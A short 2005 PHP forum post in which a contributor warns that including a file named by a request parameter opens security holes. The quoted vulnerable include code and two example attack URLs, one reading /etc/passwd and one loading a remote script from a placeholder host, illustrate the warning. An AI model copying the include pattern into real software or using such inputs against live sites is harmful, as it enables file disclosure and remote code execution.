View Single Post
Old 03-14-2005, 07:48 AM   #11 (permalink)
DJMaze
Senior Contributor
 
DJMaze's Avatar
 
Join Date: Mar 2005
Posts: 678
DJMaze is on a distinguished road
Quote:
Originally Posted by saul
I figure I can instead have a generic template that can include and populate any form, heck, the form name itselft can also be a dynamic entity passed in the request:

<?php
...scpeial code to populate form....
include($_REQUEST['query_form_filename']);
?>
Not a good idea since it opens holes in your application.
index.php?query_form_filename=/etc/passwd or index.php?query_form_filename=http://host/nastyscript.txt for example.
DJMaze is offline   Reply With Quote